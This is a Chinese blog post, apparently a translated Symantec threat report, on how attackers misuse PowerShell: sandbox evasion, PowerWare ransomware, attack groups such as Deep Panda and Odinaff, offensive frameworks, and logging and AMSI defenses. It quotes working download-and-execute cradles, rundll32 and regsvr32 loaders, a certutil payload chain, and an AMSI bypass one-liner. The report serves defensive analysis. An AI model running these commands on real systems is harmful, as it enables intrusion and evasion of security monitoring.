我们也看到攻击者使用所谓的"schizophrenic"文件,在多种文件格式中有效。例如,一个文件可以同时是一个有效的HTML, WinRAR,和PowerShell脚本。根据调用脚本的方式,它会被调用产生不同的结果。这样的行为可能会混淆绕过自动化安全系统,这可以帮助威胁逃避检测。在类似的想法,一个隐藏在证书中的PowerShell脚本最近被发现。

正如其他研究人员所建议的,SecureString特性在PowerShell或加密消息语法中允许以加密形式发送的命令。这使得在运输途中很难分析。密码可以是稍后提供以解密并运行脚本。基本的模糊处理技术无法阻止威胁被分析,但他们更难进行检测和取证工作。然而,加密的使用可能会严重妨碍甚至阻止分析。攻击者可以使用的一种方法加密是利用环境数据进行有效载荷加密。一个被认为是当时突破性的是W32.Gauss恶意软件。如果文件路径为对目标进行了验证,并满足了一些其他条件计算机。如果安全研究人员的虚拟机没有匹配目标计算机的条件,然后是恶意软件不会解密,因此研究人员也不能够分析恶意软件。Ebowla工具为各种有效载荷提供此功能包括PowerShell脚本。这些脚本将只运行在特定情况下显示其有效载荷,如预定义的用户名字。这允许有针对性的感染很难用一般的检测方法过滤掉。

在虚拟机环境中隐藏
PowerShell可用于检查脚本是否在虚拟机环境(VME)。如果脚本正在运行在VME上,它停止执行,因为VME可能是一个沙盒环境。最常见的VME规避方法遇到的是检查具有建议的名称的进程虚拟环境,例如:
(get-process|select-string -pattern vboxservice,vboxtray,proxifier,prl_cc,prl_tools,vmusrvc,vmsrvc,vmtoolsd).count

脚本还可以检查登录的环境构件用户,或任何其他广为人知的检测方法在沙箱上分析。
检测VME的PowerShell函数:

普通POWERSHELL恶意软件
我们已经看到了使用PowerShell的常见恶意软件。以下部分讨论很少有例子。

勒索软件
勒索软件仍然是一种常见的有利可图的威胁。此外一些用JavaScript和Google的Go编程编写的变体语言,完全使用PowerShell脚本语言写的勒索软件,Ransom.PowerWare就是一个例子。这个勒索软件通常在Microsoft Office文档中作为恶意宏分发。一旦宏被执行,它将使用cmd.exe运行多个PowerShell脚本。PowerWare的其他变体通过.hta附件分发。Word文档宏在文档打开时触发。这个宏然后使用shell函数启动cmd来执行PowerShell命令,将以下内容参数传递给shell。
“cmd /K “ + “pow” + “eR” & “sh” + “ell.e” + “x”+ “e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%\Y.
ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1”

这个论点显示了一些简单的混淆。关键字powershell.exe是由较小的字符串拼接而成的,这些术语中有大小写混合字母。脚本使用前面讨论的命令行标志隐藏其窗口忽略执行策略和本地配置文件。脚本会将另一个PowerShell文件下载到临时文件夹,然后执行它。攻击者没有下载和直接从内存中执行威胁,没有进一步混淆命令行显示他们没有投资在很大程度上隐藏了剧本的恶意。尽管如此,攻击成功了。
PowerWare下载的PowerShell脚本大量使用随机变量名。脚本生成一个随机密钥用于使用GET-RANDOM cmdlet加密目标文件。然后使用旧式MsXml2.XMLHTTP COM对象。
然后脚本使用Get PSDrive命令列出所有驱动器,筛选任何具有可用空间项的项。接下来是脚本递归枚举使用找到的每个驱动器的所有文件Get ChildItem命令并查找400多个文件扩展名。与搜索条件匹配的每个文件将使用系统的CreateEncryptor函数加密。Security.Cryptography.RijndaelManaged对象。一旦文件是加密的,一张赎金条被写入FILES_ENCRYPTED-READ_ME.HTML.
PowerWare加密功能展示:

W97M.INCOMPAT
2016年夏天,我们遇到了一个恶意的Excel工作簿示例。文件通过鱼叉式网络钓鱼电子邮件发送到部分用户。一旦打开工作簿文件包含的恶意宏就会触发。一旦脚本执行会在%public%\Libraries\RecordedTV\下创建三个文件夹。
然后,宏会执行一个长PowerShell命令。此脚本存储一个使用PowerShell编写的名为备份.vbs的一些工作簿,其中包含DnE.ps1以及DnS.ps1两个使用使用字符串连接和字符串替换做了基本模糊处理的脚本。宏脚本还显示工作簿中的诱饵内容,以便愚弄用户认为一切正常。以下内容是宏的PowerShell命令的示例:
cmd = “powershell “”&{\(f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas”& “e64String(‘” & BackupVbs & “’));Set-Content ‘” & pth & “backup.vbs” & “’\)f;\(f[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas” & “e64String(‘” & DnEPs1 & “’));\)f=\(f -replace ‘__’,(Get-Random);\)f=’powershell -EncodedCommand \””’+([System.Convert]::ToBas” & “e64String([System.Text.Encoding]::Unicode.GetBytes($f)))+’\””’;Set-Content ‘” & pth & “DnE.ps1” & “’ \(f;\)f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas” & “e64String(‘” & DnSPs1 & “’));
\(f=’powershell -EncodedCommand \””’+([System.Convert]::ToBas” & “e64String([System.Text.Encoding]::Unicode.GetBytes(\)f)))+’\””’;Set-Content ‘” & pth & “DnS.ps1” & “’ $f}”””

接下来,威胁会创建一个定时任务来定期执行这个备份.vbs脚本。
%SYSTEM%\schtasks.exe /create /F /sc minute /mo 3 /tn“GoogleUpdateTasksMachineUI” /tr %ALLUSERSPROFILE%\Libraries\RecordedTV\backup.vbs

这个VBScript使用PowerShell来运行两个powerShell脚本。
1、 powershell-ExecutionPolicy Bypass-文件“&HOME&”DnE.ps1
2、 powershell-ExecutionPolicy Bypass-文件“&HOME&”DnS.ps1

这些脚本试图从远程服务器下载命令运行并上传结果。通信是用WebClient对象处理的,但也有一个函数允许域名系统(DNS)隧道通信。执行的命令之一是收集有关被破坏者计算机信息。其他命令用于更新脚本。目前还不清楚攻击者为什么选择将PowerShell和所有在PowerShell中创建和观察到的跟踪较少的功能。一个原因可能是脚本是随着时间的推移而演变的,PowerShell功能直到最近才包括在内。
PowerShell下载程序函数展示:

KEYLOGGER特洛伊木马程序
剪切和粘贴网站,允许用户在线存储内容,通常包含PowerShell恶意软件示例。虽然有些研究人员利用这些服务分享样本,网络罪犯也可以在这些网站上共享恶意软件。我们发现的一个后门威胁使用System.Net.WebRequest对象来建立与命令的连接
服务器和控制。一旦成功连接,恶意软件发送系统详细信息并等待命令循环。可能的命令包括:
1、记录击键
2、窃取剪贴板数据
3、启用远程桌面协议(RDP)或虚拟网络计算(VNC)服务
4、窃取浏览器中存储的数据
这些都是简单的函数,而且大多数代码似乎都是从其他项目中收集来的。木马的真正目的是在按键中搜索信用卡号码。此外,威胁监控窗口标题与金融交易相关的有趣关键词。
特洛伊木马程序监视financerelated的窗口标题内容:

银行木马程序
据卡巴斯基实验室报告,一些银行木马组织在巴西使用PowerShell。在之前的一次攻击中,他们派出了带有.pif附件的网络钓鱼电子邮件。文件包含一个链接将本地代理设置更改为的PowerShell脚本指向恶意服务器。这使得攻击者能够操纵以后的任何浏览会话。脚本没有使用任何混淆,并以常见方式调用:
powershell.exe -ExecutionPolicy Bypass -File [SCRIPTFILE NAME].ps1

后门木马程序
PoshRat是一个简单的PowerShell后门特洛伊木马程序。有一些少数变体,每种变体有100-200行PowerShell代码。PoshRat动态地创建一个传输层可用于加密通信的安全(TLS)证书。一旦执行,恶意软件监听TCP端口80输入连接用443。后端通信
是用网络客户端使用DownloadString方法。威胁使用Invoke表达式执行命令。这种炮弹集成在最常见的攻击框架中,例如霓裳套餐。除了后门服务器,框架提供加载点方法执行有效载荷。一种方法是使用rundll32来启动然后执行PowerShell命令行的JavaScript。
rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();r=new%20ActiveXObject(“WScript.Shell”).run(“powershell -w h -nologo -noprofile -ep bypass IEX ((New-Object Net.WebClient).DownloadString(‘[IP ADDRESS]/script.ps1’))”,0,true);

另一个选择是生成一个包含COM scriptlet (.sct)的脚本。使用regsvr32在受感染计算机上执行脚本命令:
regsvr32.exe /u /n /s /i:http://[IP ADDRESS]:80/file.sct scrobj.dll
此方法可用于绕过AppLocker限制。这个命令将在register元素中加载远程脚本,并运行脚本。

POWERSHELL已经进入有针对性的攻击阶段
正如我们之前讨论过的,多个目标攻击群使用PowerShell脚本活动。有一个目标攻击者使用为了不要靠近雷达。同样多的组织不监控恶意使用PowerShell,是的很可能另一个未被注意到的目标攻击集团一直在使用PowerShell。
以下是目标攻击团体使用PowerShell:
PUPA/DEEP PANDA
Pupa/Deep Panda小组使用预定的任务来执行加载的PowerShell脚本后门。慢跑进入内存然后运行它。他们在sockets层上下载了Joggver(SSL)并显式忽略任何证书错误(允许接受自签名证书),使用以下方法命令:
[System.Net.ServicePointManager]::ServerCertificate ValidationCallback = {$true}
Pupa/Deep Panda还使用WMI部署PowerShell脚本远程设置横向移动的预定任务。

COZYDUKE/SEADUKE
众所周知,至少从2010年开始,CozyDuke/SeaDuke集团以政府为目标。这个组使用的PowerShell版本黑客工具。Hacktool.Mimikatz以及Kerberos通过票证攻击(pass-the-ticket)来模拟高权限用户。CozyDuke/SeaDuke使用了另一个名为dump.ps1的脚本,从Microsoft Exchange服务器提取电子邮件。

除此之外,Trojan.Cozer使用了编码的PowerShell要下载的脚本Trojan.Seaduke。Cozer下载了一个从SSL web服务器伪装为.jpg文件的编码二进制文件。而不是用PowerShell,攻击者调用Windows工具Certutil,在将文件作为新进程执行之前。以下显示用于下载的PowerShell脚本Trojan.Seaduke.
(New-Object Net.WebClient).DownloadFile(“https://[REMOVED]/logo1.jpg”,”\((cat env:appdata)\\logo1.jpg”); certutil -decode “\)(cat env:appdata)\logo1.jpg” “\((cat env:appdata)\\AdobeARM.exe”; startprocess“\)(cat env:appdata)\AdobeARM.exe “

BUCKEYE
最近袭击香港的BUCKEYE组织目标,使用带有恶意的.zip附件的鱼叉式网络钓鱼电子邮件。.zip存档包含一个Windows快捷方式(.lnk)文件带有Internet Explorer徽标。然后这个.lnk文件使用了powershell下载和执行的Shell后门。这个组织使用的-w1代替-w hidden来隐藏窗口。他们也用了cls来清除屏幕,可能是为了隐藏他们的活动。
powershell.exe -w 1 cls (New-Object Net.WebClient).DownloadFile(“””http://[REMOVED]/images/rec.exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exe

ODINAFF
袭击金融机构的Odinaff组织利用PowerShell和其他工具(如PsExec)在被破坏的网络横向移动。这群人是为数不多的下载程序脚本的特定用户代理,并选中“本地”代理设置。此外,Odinaff使用了一些简单的混合情况字母混淆。
\(WC=NEw-OBjeCt SYsTEm.Net.WEbCLIENt;\)u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko’;[System.Net.ServicePointManager]::ServerCertificateValidationCallback ={\(true};\)wC.HEAderS.Add(‘User-Agent’,\(u);\)Wc.PROxY = [SystEM.NeT.WEBReQuEst]::DeFauLtWEbPrOxy;\(wC.ProXY.CREdENtiAls = [System.NeT.CRedeNtIalCAcHe]::DefaulTNETworKCrEdenTIALS; \)K=’AKoem{;V*O\(E^<0F:_Is~}zdhyni,fpt’;\)I=0;[CHAR[]]\(b=([chAr[]](\)wc.DOwNlOadSTRiNg(“https://[REMOVED]/index.asp”)))|%{\(_-bXoR\)k[\(I++%\)K.LenGtH]};IEX($B-joIn’’)

联邦调查局警告不具名攻击群
2016年11月17日,美国联邦调查局(FBI)警告称,有针对性的袭击使用PowerShell分组。攻击者发送了鱼叉钓鱼包含带有恶意宏的文档的电子邮件。一次执行后,恶意软件将PowerShell阶段加载到内存中并执行。脚本检查了网络连接
接触gmail.com网站或者谷歌. 如果网络连接是它从C&C下载了一个包含HTML内容的文件服务器。返回的内容然后使用alt tag设置为“向联系人发送消息”。如果发现了物体,已从源标记提取Base64编码的字符串被解析了。攻击者使用Invoke-Expression调用无法在目标计算机上执行任意PowerShell命令。

脚本调用示例用于有针对性的攻击
在目标攻击中看到的脚本调用组展示:
Attack groups Script invocations
Pupa/DeepPanda
powershell.exe -w hidden -nologo -nointeractive -nop -ep bypass -c“IEX ((new-object net.webclient).downloadstring([REMOVED]))”

Pupa/DeepPanda
powershell.exe -Win hidden -Enc [REMOVED]

Pupa/DeepPanda
powershell -noprofile -windowstyle hidden -noninteractive -encodedcommand [REMOVED]

SeaDuke
powershell -executionpolicy bypass -File diag3.ps1

SeaDuke
powershell -windowstyle hidden -ep bypass -f Dump.ps1 -Domain [REMOVED] -User [REMOVED] -Password [REMOVED] -Mailbox

CozyDuke
powershell.exe -WindowStyle hidden -encodedCommand [REMOVED]

Odinaff
powershell.exe -NoP -NonI -W Hidden -Enc [REMOVED]

Buckeye
powershell.exe -w 1 cls (New-Object Net.WebClient).DownloadFile(“””http://[REMOVED]/images/rec.exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exe

大多数目标攻击组织主要使用PowerShell作为下载器和横向移动网络。一些像Buckeye这样的团队甚至部署了其他具有功能的工具很容易在PowerShell中复制。它是不清楚他们为什么选择依赖其他工具来实现这些更简单的功能任务,特别是收集环境信息之后关于被破坏的电脑很容易就能搞定PowerShell。原因可能是这些组织希望通过将他们的活动分散到多个合法的工具来逃避取证分析。另一方面,未经授权使用那么多工具可能会引起警报。请注意,即使在特定的组中,通过多个命令调用的参数也是不同的。例如,DeepPanda同时使用这两种方法-w hidden和–Win hidden。因为这可能是由于作者创建脚本时对剩下的脚本和参数没有混淆。在我们观察到的大多数脚本中没有使用严重的混淆。目前还不清楚是因为缺乏知识或者这是一个深思熟虑的决定以减少对他们脚本的怀疑。大多数下载程序脚本使用HTTPS从服务器加载有效负载以隐藏它来自网关和网络安全工具,无法处理TLS连接。

双重用途的工具和框架
在过去的两年里工具和框架包含PowerShell已经大幅上涨。这些工具通常使用新的具有在恶意软件中不多见,然而,背后的社区工具增长迅速,速度也很快整合新思想。许多其他NoPowerShell专用工具,比如Metasploit、Veil和社交工程工具包Social Engineering Toolkit (SET),包括生成PowerShell的能力有效载荷和输出。

下面几节将讨论一些最常见的可使用的工具。如前所述,许多其他脚本集,如Posh SecMod和PowerCat,这些工具可以用来测试针对目标的防御使用类似技术的攻击团体。最常见的渗透测试工具有:
1、PowerSploit
2、PowerShell Empire
3、NiShang
4、PS>Attack
5、Mimikatz
这些工具背后的社区是发展迅速,整合迅速新想法。

POWERSPLOIT
PowerSploit是用于渗透测试的不同PowerShell脚本的集合。这些年来脚本内容不断增加为攻击的所有阶段提供模块。脚本其特点是:
1、Code execution 代码执行
2、Script modification 脚本修改
3、Persistence 权限维持
4、Antivirus bypass 杀软绕过
5、Exfiltration 后门
6、Privilege escalation 特权升级
7、Reconnaissance 侦察
一些以前的独立工具,如PowerView(侦察)和PowerUp(特权升级)已经集成在该框架中。

POWERSHELL EMPIRE
这是一个模块化的后开发框架,提供了一个PowerShell和Python中类似Metasploit的环境。powershell Empire包括不同类型的后门工具多个模块。与其他框架类似,它包括特权提升,横向移动,权限维持,信息收集和侦察。

NISHANG
Nishang是一个不同的PowerShell脚本的集合扫描仪、后门工具、权限提升、持久性和用户的其他模块。它包含各种可以生成要与加载点方法一起使用的编码输出。

PS>ATTACK
PS>attack 将不同的PowerShell项目组合成一个自包含的自定义PowerShell控制台。框架调用通过一个.NET对象来简化它在环境中运行powershell.exe被列入黑名单或受限制的。工具集包括Power的常用脚本-Sploit,PowerTools,Nishang等特权升级,持久性、侦察和数据过滤。

MIMIKATZ
Mimikatz是一个流行的黑客工具,它可以转储证书和来自Windows计算机的令牌。该工具也可以执行各种令牌操纵和模拟攻击。mimikatz几乎出现在所有有针对性的袭击中。在那里是该工具的PowerShell实现,它可以完全运行在内存中。第一个可广泛访问的PowerShell版本是Invoke-Mimikatz脚本。此功能是现在集成在其他脚本中,如powerspolit或ported to新的脚本,比如mimikittenz。还有其他方法可以收集不需要的密码需要mimikatz。一些攻击者已经开始使用一种方法称为Kerberoasting,它提取服务帐户密码用于脱机破解的哈希。

POWERSHELL脚本预防以及调查
在防守方,一系列存在PowerShell脚本来帮助您。例如,有脚本会生成蜜罐文件看看他们有没有勒索软件试图加密它们。其他脚本创建本地tar pit文件夹,它模仿了无休止的递归试图放慢勒索软件的速度枚举过程。另一个concept使用PowerShell禁用网络枚举,通常用于侧向运动。
还有一些事件响应和取证工具包在PowerShell中提供,如Kansa、PowerForensic或数据收集脚本PSrecon。对PowerShell攻击进行取证分析由于缺乏可用的痕迹而困难。火眼研究人员Ryan Kazanciyan和Matt Hastings指出了几个出发点调查内存威胁时的要点PowerShell。例如,svchost.exe可能还有痕迹远程执行的PowerShell命令,但仅当分析可以在攻击后不久进行。扩展日志是使调查更容易和我们强烈建议系统管理员启用此功能特色。

对…进行法医学分析PowerShell攻击由于缺乏可用的痕迹可能很困难。

缓解
前面讨论的大部分攻击方法需要攻击者能够在先瞄准电脑。一些技术需要管理员特权。这就是恶意的原因PowerShell脚本经常被引用作为开发后的工具;最初的感染媒介通常与传统的二元威胁。因此,正常的最佳实践保护环境也在这里申请:
1、建议终端用户立即删除他们收到的电子邮件任何可疑信息,尤其是那些包含链接和/或附件。
2、小心提示用户的Microsoft Office附件启用宏。宏可用于合法目的,例如自动化任务,攻击者经常使用通过Office传递恶意软件的恶意宏文件。为了减轻这种感染媒介,微软已禁止在Office文档中加载宏违约。攻击者可以使用社会工程技术说服用户启用宏来运行。因此,Symantec建议用户避免在Microsoft Office中启用宏。

以下指南专门针对缓解PowerShell问题威胁:
1、如果您不在您的环境中使用PowerShell,那么检查是否可以禁用它或至少监视任何不寻常的使用powershell.exe以及wsmprovhost.exe,例如来自未知位置、未知用户或可疑时期。请记住,PowerShell可以无需父进程,例如通过.NET和系统管理自动化命名空间。 阻挡访问父进程,例如通过AppLocker,不会阻止攻击者使用PowerShell。
2、所有内部合法使用的PowerShell脚本都应该应通过阻止已签名和所有未签名的脚本执行策略。但有一些简单的方法可以绕过执行策略,使它能使感染更多很难。安全小组应该能够监控任何试图绕过执行策略并跟进它的行为。
3、PowerShell约束语言模式可用于限制PowerShell到某些基本功能,删除高级功能,如COM对象或系统api。这个限制使大多数PowerShell框架对这些函数无法使用,如用于反射DLL加载。
4、更新到最新版本的PowerShell。这将提供额外的功能,例如扩展的日志记录功能。如果你不使用PowerShell版本2,但仍安装了它,请考虑删除它,因为它可以用来绕过日志记录和限制。
5、受限的运行空间会限制对遥控器的暴露PowerShell脚本。cmdlet可以被限制,并且可以执行可以委托给其他用户帐户。
6、考虑评估是否足够给管理员权限(JEA)可用于限制远程管理的权限环境中的任务。JEA包含在PowerShell 5中并允许基于角色的访问控制。

LOGGING
默认情况下,在版本5,启用PowerShell日志记录需要PowerShell 3以上版本。在PowerShell 5中,有三种日志记录方法:Module日志记录、转录和脚本块日志记录。我们高度重视建议启用扩展日志记录,因为这在调查中有很大的帮助。即使攻击者攻击后删除脚本,日志中可能仍包含该内容。一些日志记录去模糊化的脚本,很容易找到允许的关键字。对于Windows PowerShell可以在组策略中启用日志记录。在以下子项下设置存储注册表:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\

请注意,启用日志记录会生成很多事件。此信息应在被本地覆盖之前迅速处理或发送至在中央SIEM,它将被关联。另外,PowerShell的Windows预取文件可能会提供这是最后一次运行的很好的指示,甚至可能显示脚本的名字。当执行PowerShell脚本时,以下窗口更新事件日志:
1、Windows PowerShell.evtx
2、Microsoft-WindowsPowerShell/Operational.evtx
3、Microsoft-WindowsWinRM/Operational.evtx

默认情况下,分析日志被禁用,但它们包含更多执行的cmdlet、脚本或命令等详细信息。这个罐子如果启用,则生成大量日志消息。
1、Microsoft-WindowsPowerShell/Analytic.etl
2、Microsoft-WindowsWinRM/Analytic.etl

PowerShell 3引入了记录功率的模块日志记录-Shell命令及其输出,包括通过远程处理执行。必须启用模块日志记录对于要监视的每个模块或所有模块。模块日志记录是一个很好的开始,但它忽略了一些细节。注意该模块日志记录不记录外部Windows二进制文件。

Windows10上的PowerShell组策略设置展示:

对于详细的结果,PowerShell提供了转录函数来记录所有已处理命令。此选项在PowerShell 5中。它将记录所有的输入和输出控制台并将其写入带有时间戳的文本文件。有可能转录将很快生成大量日志文件,因此请做好准备处理或存储在中心文件共享中。袭击者可能在执行恶意负载之前禁用日志记录,例如,一个简单的“-noprofile”参数将忽略配置文件命令。任何篡改也应受到监控。
在PowerShell 5中,微软引入了详细脚本块Logging。启用后,脚本块日志记录将记录内容对所有的脚本块进行了处理和模糊处理,包括在运行时生成的动态代码。这提供了全面了解计算机上的脚本活动。日志记录应用于任何使用PowerShell引擎的应用程序。作为结果,它监视命令行调用PowerShellISE以及使用.NET对象的自定义应用程序。这个事件记录在PowerShell操作日志中。

PowerShell日志事件条目

一些管理员担心如此多的日志记录可能会导致泄露了敏感数据,如凭证。为了减少这一点风险,Windows 10引入了受保护的事件日志记录加密本地日志以防止攻击者窃取他们的数据。然后将日志转发到中心定位和分析。另一个选项是使用命令行启用进程跟踪审计,现在可以记录完整的命令行。这个将记录所有新启动的进程,包括powershell在命令行上运行的Shell。信息将是记录事件id 4688(进程创建)。有一些公共工具可以帮助处理记录事件,例如PowerShell方法审核程序。安全研究人员肖恩·梅特卡夫(Sean Metcalf)生成了一份可疑电话清单可以在PowerShell操作日志中监视。为以下关键字是一个强有力的指标PowerShell攻击工具已运行:
调用DLLInjection
1、System.Reflection.AssemblyName
2、System.Reflection.Emit.AssemblyBuilderAccess
Invoke-Shellcode
1、System.Reflection.AssemblyName
2、System.Reflection.Emit.AssemblyBuilderAccess
3、System.MulticastDelegate
4、System.Reflection.CallingConventions

反恶意软件扫描接口(AMSI)
Windows 10为PowerShell添加了新的安全功能。脚本块日志记录现在自动启用,提供更好的日志记录功能。此外,一个新的功能称为反恶意软件扫描接口(AMSI)允许安全解决方案拦截监视PowerShell调用以阻止恶意脚本。这使得引擎可以超越基本的混淆和动态代码生成。不幸的是,已经有办法绕过AMSI。攻击者可以尝试卸载AMSI;以下演示了简单方法:
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue(\(null,\)true)

另一种方法是退回到PowerShell 2.0不支持AMSI,如果旧版本仍然存在于计算机中。不管怎样,在大多数情况下,检测都依赖于签名,因此可能会受到模糊处理的挑战,例如变量或重新排序。尽管如此,AMSI提高了安全性,并且,如果生成的日志文件被监视,将提供PowerShell滥用的证据。

APPLOCKER
使用Microsoft的应用程序控制解决方案AppLocker,进一步可以添加限制。通过组策略,该工具可以限制可执行文件、DLL和脚本的执行。应用程序控制策略通过有关路径的信息标识应用程序,文件哈希或发布服务器。在理想的企业环境中,白名单方法将被利用。使用PowerShell 5,AppLocker可以强制执行语言模式。这种组合使得攻击者很难运行恶意脚本。不幸的是,在大多数情况下使用黑名单方法,因为它更容易处理和更新。因为PowerShell脚本可以在很多情况下启动,有正当理由让行政部门这么做的话很难阻止所有恶意使用。然而,使用AppLocker可以提高安全性,应该评估组织的安全策略。

PROTECTION保护
为了安全起见,采用多层方法。赛门铁克有一个策略防止恶意软件,包括PowerShell威胁,三分之一阶段:
1、Prevent 预防:阻止侵入或感染,防止发生的损害
2、Contain 控制:在发生成功感染
3、Respond 回应:制定事件响应流程,从中学习进攻,提高防御能力

预防感染是迄今为止最好的方案。恶意电子邮件发送恶意软件是最常见的感染恶意PowerShell脚本的向量。采用稳健对这两种感染媒介的防御将有助于减少妥协的风险。

高级防病毒引擎
Symantec使用一系列检测引擎,包括先进的基于特征的反病毒引擎,justin-time(JIT)内存扫描和机器学习引擎。这允许检测直接在内存中执行的脚本。行为检查引擎SONAR是赛门铁克基于行为的实时保护阻止潜在的恶意应用程序在计算机上运行。它检测恶意软件不需要任何特定的检测签名。声纳使用启发式,声誉数据,以及行为政策来发现新出现的和未知的威胁。SONAR可以经常检测PowerShell脚本行为用于感染后的侧向运动,并阻止它们。

电子邮件保护
电子邮件过滤服务,如Symantec Security.cloud可以在恶意邮件到达用户之前阻止它们。赛门铁克消息网关的解除防护技术也可以保护通过删除来自在他们到达用户之前附加的文档。Email.cloud包括实时链路跟踪(RTLF),其中处理附件中的URL,而不仅仅是电子邮件。除此之外,Email.cloud具有高级功能检测并阻止电子邮件中包含的恶意脚本通过代码分析和仿真。

BLUE COAT恶意软件分析沙箱
诸如Blue Coat恶意软件分析的沙盒能够分析和阻止恶意脚本,包括PowerShell脚本。它可以在多个工作层中混淆和发现可疑行为。

SYSTEM HARDENING 系统加固
赛门铁克的系统强化解决方案,赛门铁克数据中心安全性,可以保护物理和虚拟服务器,并在本地监视服务器系统、公共以及私有云数据中心。通过定义允许的行为,赛门铁克数据中心安全性可以限制PowerShell的使用
以及它的任何行动。

结论
PowerShell允许攻击者执行恶意操作部署任何附加的二进制文件,增加传播的机会使得他们的威胁更进一步被检测。事实上PowerShell是默认情况下被安装构建的一个受欢迎的攻击工具。此外,PowerShell只剩下很少的作为扩展日志记录的跟踪不是默认激活。

大多数目标攻击组织已经使用了PowerShell,但是许多人仍然依赖于其他系统工具来完成基本任务,例如数据收集。有一个巨大的社区正在创建PowerShell为渗透测试人员编写的脚本,我们看到更多的网络罪犯开始使用PowerShell。恶意PowerShell脚本主要用作下载程序在电子邮件附件中或在入侵后的网络。但也有可能后门木马或勒索软件完全在PowerShell中编码。很少有PowerShell威胁会使用模糊处理。我们有看到了概念验证代码使用了更强的混淆,很难被发现。看来袭击者是故意的不使用更多的模糊处理,因为他们的威胁已经存在,他们不想引起更多的怀疑。通常Base64编码的命令足以绕过任何部署安全措施。根据我们所显示的威胁浪潮的证据利用PowerShell,我们建议加强防御通过升级到PowerShell的最新版本并启用扩展日志记录功能。另外,确保powershell在您的攻击场景中考虑了Shell监视相应的日志文件。

posted @ 2020-11-29 23:14  micr067  阅读(1538)  评论(0编辑  收藏  举报